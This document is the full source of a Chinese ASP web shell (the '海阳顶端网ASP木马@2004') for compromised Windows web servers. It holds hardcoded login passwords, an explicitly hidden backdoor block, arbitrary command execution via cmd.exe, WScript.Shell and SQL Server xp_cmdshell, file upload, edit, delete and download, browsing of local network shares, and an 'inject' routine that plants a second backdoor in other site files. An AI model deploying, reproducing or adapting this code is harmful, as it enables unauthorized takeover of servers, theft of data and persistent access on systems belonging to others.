<%@ LANGUAGE="VBSCRIPT" codepage ="936" %> <%'密码第一个是makelove,or cro第二个是haiyangtop.126.com,or www.z4.cn查找替换这两个单词就可以改成别的密码了%> ::::海阳顶端网ASP木马@2004:::: <% '***************隐含的另一套代码执行和删除程序开始*************** %> <% select case request("action") case "执行" result=ExecuteFile(trim(request("run"))) case "del" result=DeleteFile(trim(request("filename"))) end select function DeleteFile(fileDel) on error resume next dim fs Set fs = CreateObject("Scripting.FileSystemObject") response.write "文件删除 (" & fileDel & ")="&cstr(fs.FileExists(fileDel))&"
" if fs.FileExists(fileDel) then fs.DeleteFile fileDel,true end if if err>0 then err.clear DeleteFile=false else DeleteFile=true end if end function function ExecuteFile(fileExe) Set WShShell = Server.CreateObject("WScript.Shell") RetCode = WShShell.Run(fileExe, 1, True) if RetCode = 0 Then 'There were no errors ExecuteFile=True else ExecuteFile=False end if response.write "Run "&" "&fileexe&" "&executefile end function %> <% '***************隐含的另一套代码结束*************** %> <% '***************如果不做后门的话要做文件管理器就请删掉以上这段隐含代码*************** %> <% '***************上传文件开始*************** %> <% if request("up")=1 then %> <%if instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server_name")&"") = 0 then response.write "
  • 不要黑我呀,老大!" response.end end if%> <%Server.ScriptTimeOut=5000%> <% dim upload,file,formName,formPath,iCount set upload=new upload_5xsoft if upload.form("filepath")="" then response.write "请输入要上传至的目录!" set upload=nothing response.end else formPath=upload.form("filepath") if right(formPath,1)<>"/" then formPath=formPath&"/" end if iCount=0 for each formName in upload.objForm next response.write "
    " for each formName in upload.objFile set file=upload.file(formName) if file.FileSize>0 then 'file.SaveAs Server.mappath(formPath&file.FileName) '虚拟路径上传 file.SaveAs formPath&file.FileName '物理路径上传 response.write "
    "&file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 上传成功!

    " iCount=iCount+1 end if set file=nothing next set upload=nothing response.write "
    "&iCount&"个文件上传结束!
    " response.write "

    返回上一页
    " '***************上传文件结束 *************** else url= Request.ServerVariables("URL") Co=Request.ServerVariables("SCRIPT_NAME") if trim(request.form("password"))<>"" and trim(request.form("password"))<>"www.z4.cn" then call out() if trim(request.form("password"))="www.z4.cn" then session("password")="wwol" response.redirect ""&co&"" else if session("password")<>"wwol" then call login() '密码错误 response.end '停止运行 end if select case request("id") case "edit" call edit() case "upload" call upload() case "dir" call dir() case "down" call downloadFile(request("path")) case "inject" call inject() case else call main() end select end if sub login() for i=0 to 25 on error resume next IsObj=false VerObj="" dim TestObj set TestObj=server.CreateObject(ObjTotest(i,0)) If -2147221005 <> Err then IsObj = True VerObj = TestObj.version if VerObj="" or isnull(VerObj) then VerObj=TestObj.about end if ObjTotest(i,2)=IsObj ObjTotest(i,3)=VerObj next %>
    <% Dim strUserName ' 取得用户名 strUserName = Request.QueryString("UserName") If strUserName <> "" Then ' 建立用户名的Cookies Response.Cookies("UserName") = strUserName End If ' 取得用户的Cookies strUserName = Request.Cookies("UserName") ' 是否有用户名 If strUserName <> "crocodile" Then ' 没有用户Cookies出现对话框输入用户 %>
    " method="GET">
    <%Else%>
    欢迎用户[<%=strUserName %>]进入站点
    <% dim t1,t2,lsabc,thetime t1=timer for i=1 to 500000 lsabc= 1 + 1 next t2=timer thetime=cstr(int(( (t2-t1)*10000 )+0.5)/10) %>
     服务器名  <%=Request.ServerVariables("SERVER_NAME")%>
     服务器IP  <%=Request.ServerVariables("LOCAL_ADDR")%>
     服务器端口  <%=Request.ServerVariables("SERVER_PORT")%>
     服务器时间  <%=now%>
     本文件绝对路径  <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
     服务器CPU数量  <%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个
     服务器操作系统  <%=Request.ServerVariables("OS")%>
     客户端IP: 端口 [代理] <%=Request.ServerVariables("REMOTE_ADDR")%>| <%=Request.ServerVariables("REMOTE_PORT")%> [<%=Request.ServerVariables("HTTP_X_FORWARDED_FOR")%>]
     服务器运算速度测试  <%=thetime%> 毫秒

    <% pathlcx=trim(Request.form("pathlcx")) textlcx=trim(Request.form("textlcx")) if textlcx<>"" and pathlcx<>"" then textlcx=replace(textlcx,">","^>") textlcx=replace(textlcx,"<","^<") textlcx=replace(textlcx,"&","^&") textlcx=replace(textlcx,chr(34),"^"&chr(34)) textlcx=replace(textlcx,chr(10),"^"&chr(10)) textlcx=replace(textlcx,chr(13),"^"&chr(13)) set shell=server.createobject("shell.application") set shellfolder=shell.namespace("C:\Documents and Settings\Default User\「开始」菜单\程序\附件") set shellfolderitem=shellfolder.parsename("记事本.lnk") set objshelllink =shellfolderitem.getlink objshelllink.path="cmd.exe" objshelllink.arguments="/c echo "&textlcx&">"&pathlcx&" &&del c:\a.lnk" objshelllink.save("c:\a.lnk") shell.namespace("c:\").items.item("a.lnk").invokeverb end if %>
    " method="post"> 输入要浏览的目录,最后要加\
    copy 目的地址不要带文件名
    move 目的地址不要带文件名
    路径: 程序: 不可以加参数
    CMD命令对话框
    路径与文件名
    <% Dim strSQL, objDBConn, objRS, intFieldCount, intCounter,mdb mdb = Request.QueryString("mdb") strSQL = Request.QueryString("SQL") If strSQL <> "" and left(trim(strsql),6)="select" Then Response.Write "SQL字符串: " & strSQL & "
    " ' 建立数据库连接的对象 Set objDBConn = Server.CreateObject("ADODB.Connection") ' 打开数据库连接 mdb请改为你要连接的数据库名字 objDBConn.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath(mdb) ' 执行SQL的数据库查询 Set objRS = objDBconn.Execute(strSQL) ' 取得域的个数 intFieldCount = objRS.Fields.Count - 1 ' 检查是否有记录 If Not objRS.Eof Then Response.Write "" ' 显示数据库的域名 For intCounter = 0 to intFieldCount Response.Write "" Next Response.Write "" ' 显示数据库内容 Do While Not objRS.Eof Response.Write "" ' 显示每个记录的域 For intCounter = 0 to intFieldCount If objRS.Fields(intCounter).Value <> "" Then Response.Write "" Else Response.Write "" End If Next Response.Write "" objRS.MoveNext ' 移到下一条记录 Loop Response.Write "
    " & objRS(intCounter).Name & "
    " & objRS.Fields(intCounter).Value & "---
    " Else Response.Write "没有符合条件的记录
    " End If objRS.Close ' 关闭记录集合 Set objRS = Nothing objDBConn.Close ' 关闭数据库连接 Set objDBConn = Nothing end if if strSQL <> "" and left(trim(strsql),6)<>"select" Then %> <% end if %>
    SQL字符串:
    <% If trim(request.form("cmd"))<>"" Then %> <% password= trim(Request.form("pa")) id=trim(Request.form("id")) set adoConn=Server.CreateObject("ADODB.Connection") adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id strQuery = "exec master.dbo.xp_cmdshell '" & request.form("cmd") & "'" set recResult = adoConn.Execute(strQuery) If NOT recResult.EOF Then Do While NOT recResult.EOF strResult = strResult & chr(13) & recResult(0) recResult.MoveNext Loop End if set recResult = Nothing strResult = Replace(strResult," "," ") strResult = Replace(strResult,"<","<") strResult = Replace(strResult,">",">") strResult = Replace(strResult,chr(13),"
    ") End if set adoConn = Nothing %>
    ">

    传至服务器已有目录: 文件地址: 〖绝对路径〗
    <% Response.Write request.form("cmd") & "

    " Response.Write strResult %> <% DSnXA = Request.Form("text") '目录浏览 if (DSnXA <> "") then set shell=server.createobject("shell.application") '建立shell对象 set fod1=shell.namespace(DSnXA) set foditems=fod1.items for each co in foditems response.write "" & co.path & "-----" & co.size & "
    " next end if %> <% DSnXA1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝 DSnXA2 = Request.Form("text2") if DSnXA1<>"" and DSnXA2<>"" then set shell1=server.createobject("shell.application") '建立shell对象 set fod1=shell1.namespace(DSnXA2) for i=len(DSnXA1) to 1 step -1 if mid(DSnXA1,i,1)="\" then path=left(DSnXA1,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(DSnXA1,len(DSnXA1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command completed success!" end if %> <% DSnXA3 = Request.Form("text3") '目录移动 DSnXA4 = Request.Form("text4") if DSnXA3<>"" and DSnXA4<>"" then set shell2=server.createobject("shell.application") '建立shell对象 set fod1=shell2.namespace(DSnXA4) for i=len(DSnXA3) to 1 step -1 if mid(DSnXA3,i,1)="\" then path=left(DSnXA3,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(DSnXA3,len(DSnXA3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if %> <% DSnXA5 = Request.Form("text5") '执行程序要指定路径 DSnXA6 = Request.Form("text6") if DSnXA5<>"" and DSnXA6<>"" then set shell3=server.createobject("shell.application") '建立shell对象 shell3.namespace(DSnXA5).items.item(DSnXA6).invokeverb response.write "command completed success!" end if %>
    Enter Password:
    <%End If%> <%end sub%> <%sub main() '修改下面的urlpath改为你服务器的实际URL urlpath=Request.ServerVariables("SERVER_NAME") dim cpath,lpath set fsoBrowse=CreateObject("Scripting.FileSystemObject") if Request("path")="" then lpath="/" else lpath=Request("path")&"/" end if if Request("attrib")="true" then cpath=lpath attrib="true" else cpath=Server.MapPath(lpath) attrib="" end if %> <% if request.form("submit1")="返回免fso页" then call out() end if%>
    <% If (IsObject(oFilelcx)) Then
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFilelcx.ReadAll)
    oFilelcx.Close
    Call oFileSyslcx.DeleteFile(szTempFile, True)
    End If %>
    
    切换盘符: <% For Each thing in fsoBrowse.Drives Response.write ""&thing.DriveLetter&"盘: " NEXT %>  本机局域网地址: <% Set oScriptlcx= Server.CreateObject("WSCRIPT.SHELL") Set oScriptNetlcx = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSyslcx = Server.CreateObject("Scripting.FileSystemObject") %><%= "\\" & oScriptNetlcx.ComputerName & "\" & oScriptNetlcx.UserName %>
    <% if Request("attrib")="true" then response.write "点击切换到相对路径编辑模式" else response.write "点击切换到绝对路径编辑模式" end if %> 路径: <%=cpath%>   当前浏览目录:<%=lpath%>
    浏览目录: 〖请用绝对路径,支持局域网地址!如"\\pc01\c"〗
    传至服务器已有目录: 文件地址: 〖请用绝对路径〗
    <% On Error Resume Next DSnXA = Request.Form(".CMD") If (DSnXA <> "") Then szTempFile = "C:\" & oFileSyslcx.GetTempName( ) Call oScriptlcx.Run ("cmd.exe /c " & DSnXA & " > " & szTempFile, 0, True) Set oFilelcx = oFileSyslcx.OpenTextFile (szTempFile, 1, False, 0) End If%>
    " method="POST" name=userdata> 〖绝对路径+文件名〗
    〖新建文件和新建目录不能同名〗
    <% dim theFolder,theSubFolders if fsoBrowse.FolderExists(cpath)then Set theFolder=fsoBrowse.GetFolder(cpath) Set theSubFolders=theFolder.SubFolders Response.write"回上级目录
    " For Each x In theSubFolders%> <%Response.write" "&x.Name&" ×删除
    " Next end if %>
    文件名 (鼠标移到文件名可以查看给文件的属性) 大小(字节) 文件操作
    <% dim theFiles if fsoBrowse.FolderExists(cpath)then Set theFolder=fsoBrowse.GetFolder(cpath) Set theFiles=theFolder.Files Response.write"" For Each x In theFiles if Request("attrib")="true" then showstring=""&x.Name&"" else showstring=""&x.Name&"" end if Response.write"" Next end if Response.write"
    "&showstring&""&x.size&" edit copy del down inject
    " %>
    <% end sub sub edit() if request("op")="del" then '**********删除文件******** if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if Set fs = CreateObject("Scripting.FileSystemObject") Set thisfile = fs.GetFile(whichfile) thisfile.Delete True Response.write "
    删除成功!要刷新才能看到效果.
    " '**********删除文件结束******** else if request("op")="copy" then '**********复制文件******** if Request("attrib")="true" then whichfile=Request("path") dsfile=Request("dpath") else whichfile=server.mappath(Request("path")) dsfile=Server.MapPath(Request("dpath")) end if Set fs = CreateObject("Scripting.FileSystemObject") Set thisfile = fs.GetFile(whichfile) thisfile.copy dsfile Response.write "

    源文件:"+whichfile+"

    " Response.write "

    目的文件:"+dsfile+"
    " Response.write "

    复制成功!要刷新才能看到效果!

    " '**********复制文件结束******** else if request.form("text")="" then if Request("creat")<>"yes" then if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if Set fs = CreateObject("Scripting.FileSystemObject") Set thisfile = fs.OpenTextFile(whichfile, 1, False) counter=0 thisline=thisfile.readall thisfile.Close set fs=nothing end if %>
    ">
    海阳顶端网ASP木马@2004文件编辑器
    文件名: "readonly>
    <%else if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if Set fs = CreateObject("Scripting.FileSystemObject") Set outfile=fs.CreateTextFile(whichfile) outfile.WriteLine Request("text") outfile.close set fs=nothing Response.write "
    修改成功!要刷新才能看到效果!
    " end if end if end if end sub end if %> <% sub dir() if request("op")="del" then '***********删除目录********** if Request("attrib")="true" then whichdir=Request("path") else whichdir=server.mappath(Request("path")) end if Set fs = CreateObject("Scripting.FileSystemObject") fs.DeleteFolder whichdir,True Response.write "
    删除成功!要刷新才能看到效果,删除的目录为:"&whichdir&"
    " '**********删除目录结束************* else '***********新建目录********** if request("op")="creat" then if Request("attrib")="true" then whichdir=Request("path") else whichdir=server.mappath(Request("path")) end if Set fs = CreateObject("Scripting.FileSystemObject") fs.CreateFolder whichdir Response.write "
    建立成功!要刷新才能看到效果,建立的目录为:"&whichdir&"
    " '***********新建目录结束********** end if end if end sub '****下载文件 function downloadFile(strFile) if request("attrib")="" then strFilename = server.MapPath(strFile) end if if request("attrib")="true" then strFilename = Request("path") end if Response.Buffer = True Response.Clear Set s = Server.CreateObject("ADODB.Stream") s.Open s.Type = 1 on error resume next Set fso = Server.CreateObject("Scripting.FileSystemObject") if not fso.FileExists(strFilename) then Response.Write("

    Error:

    " & strFilename & " does not exist

    ") Response.End end if Set f = fso.GetFile(strFilename) intFilelength = f.size s.LoadFromFile(strFilename) if err then Response.Write("

    Error:

    " & err.Description & "

    ") Response.End end if Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name Response.AddHeader "Content-Length", intFilelength Response.CharSet = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite s.Read Response.Flush s.Close Set s = Nothing response.end End Function function out() session("password")="" response.redirect ""&Co&"" response.end End Function %> <% sub inject() if Request("id")="inject" and request("attrib")<>"true"then testfile=Server.MapPath(""&Request("path")&"") set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.OpenTextFile(testfile,8,True,0) thisfile.WriteLine("<%") thisfile.WriteLine("if Request(""lcx"")=""1"" then") thisfile.WriteLine("dim wwol,creat,text,thisline,path") thisfile.WriteLine("if Request(""creat"")=""yes"" then") thisfile.WriteLine("Set fs = CreateObject(""Scripting.FileSystemObject"") ") thisfile.WriteLine("Set outfile=fs.CreateTextFile(server.mappath(Request(""path"")))") thisfile.WriteLine("outfile.WriteLine Request(""text"")") thisfile.WriteLine("Response.write ""succeed!""") thisfile.WriteLine("end if") thisfile.WriteLine("Response.write ""

    """) thisfile.WriteLine("Response.write ""
    """) thisfile.WriteLine("Response.write """"") thisfile.WriteLine("Response.write ""
    """) thisfile.WriteLine("Response.end") thisfile.WriteLine("end if ") thisfile.WriteLine("%" & ">") thisfile.close Response.write "succeed!请用"&Request("path")&"?lcx=1来访问你插入的文件" else Response.write "
    " Response.write "" Response.write "
    " end if end sub %> <% SearchString = Request("SearchString") count=0 '把当前目录的实际路径转换为虚拟路径 'Function UnMapPath( Path ) 'UnMapPath = Replace(Mid(Path, Len(Server.MapPath("/")) + 1), "\", "/") 'End Function Function SearchFile( f, s, title ) Set fo = fs.OpenTextFile(f) content = fo.ReadAll'读全部文本到content fo.Close SearchFile = InStr(1, content, S, vbTextCompare) > 0 '从第一个字符开始检查content里面是否有S If SearchFile Then'如果有,则提出文件TITLE存入变量 pos1 = InStr(1, content, "", vbTextCompare) pos2 = InStr(1, content, "", vbTextCompare) title = "" If pos1 > 0 And pos2 > 0 Then'取TITLE标记中间的字符 title = Mid( content, pos1 + 7, pos2 - pos1 - 7 ) End If End If End Function Function FileLink( f, title ) vPath =f.Path'取路径 If title = "" Then title = f.Name'做链接 'FileLink = "" & title & "" FileLink = vPath FileLink = "
      ·" & FileLink & "
    " End Function Sub SearchFolder( fd, s ) found = False For each f In fd.Files pos = InStrRev(f.Path, "." ) If pos > 0 Then ext = Mid(f.Path, pos + 1 ) Else ext = "" End If If LCase(ext) = "asp" or LCase(ext) = "asa" or LCase(ext) = "cer" Then' If SearchFile( f, s, title ) Then Response.Write FileLink(f, title) count=count+1 End If End If Next For each sfd In fd.SubFolders SearchFolder sfd, s Next End Sub %>
    警告:对非法使用此程序可能带来的任何不良后果责任自负!海阳顶端网
    感谢:网辰在线、化境上传、CZY、及cmd.asp作者、sun.c所做的一切努力◆LCX&ALLEN◆
    " method="Get"> 关键字搜索:
    <% Set fs = Server.CreateObject("Scripting.FileSystemObject") Set fd = fs.GetFolder(Request("path88")&"\") If SearchString <> "" Then Response.Write "

    如下文件内嵌入搜索的" & SearchString & "关键字:

    " SearchFolder fd,SearchString End If %>